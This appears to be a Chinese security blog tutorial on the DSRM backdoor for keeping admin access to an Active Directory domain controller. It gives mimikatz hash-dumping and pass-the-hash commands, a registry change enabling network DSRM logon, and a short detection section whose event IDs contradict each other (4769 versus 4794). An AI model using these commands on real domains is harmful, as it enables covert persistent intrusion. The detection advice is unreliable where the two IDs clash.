01、简介

每个域控制器都有一个目录还原模式(DSRM)帐户,它的密码是在安装域控时设置的,实际上它对应的就是sam文件里的本地管理员“administrator”,基本很少会被重置,因此有着极强的隐蔽性。攻击者通过获取域控的DSRM密码,就可以使用帐户通过网络登录到域控服务器,从而达到权限维持的目的。

02、利用方式

(1)获取域内用户Hash

使用mimikatz查看域内用户test的NTLM Hash。



mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch /name:test



域内权限维持:DSRM后门_服务器

(2)将DSRM帐户和域用户的NTLM Hash同步

使用DSRM的密码和指定域用户test的密码进行同步,在命令行环境中使用ntdsutil工具重置DSRM管理员密码。

域内权限维持:DSRM后门_运维_02

(3)抓取DSRM密码

因同步域内用户test的NTLM Hash,可以发现,DSRM Hash 和域用户test的NTLM Hash一致。



mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam



域内权限维持:DSRM后门_运维_03

(4)修改DSRM登录方式

DSRM 有三种登录方式,具体如下:

0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号
1:只有当本地 AD、DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器
2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器

如果要使用 DSRM 账号通过网络登录域控制器,需要将该值设置为 2。

修改注册表:



reg add "HKLM\System\CurrentControlSet\Control\Lsa" /f /v DsrmAdminLogonBehavior /t REG_DWORD /d 2



域内权限维持:DSRM后门_重置_04

(5)使用DSRM远程登录

在域成员服务器上使用DSRM进行远程登录,注意domain使用域控的主机名。



mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:administrator /domain:win-dc01 /ntlm:44f077e27f6fef69e7bd834c7242b040



域内权限维持:DSRM后门_重置_05

 03、检测方法

当攻击者尝试重置DSRM管理员密码或是指定域内用户NTLM Hash同步时,都会生成4769事件,因此可以实时监控4794事件,一旦攻击者尝试修改DSRM密码就会触发告警。

域内权限维持:DSRM后门_重置_06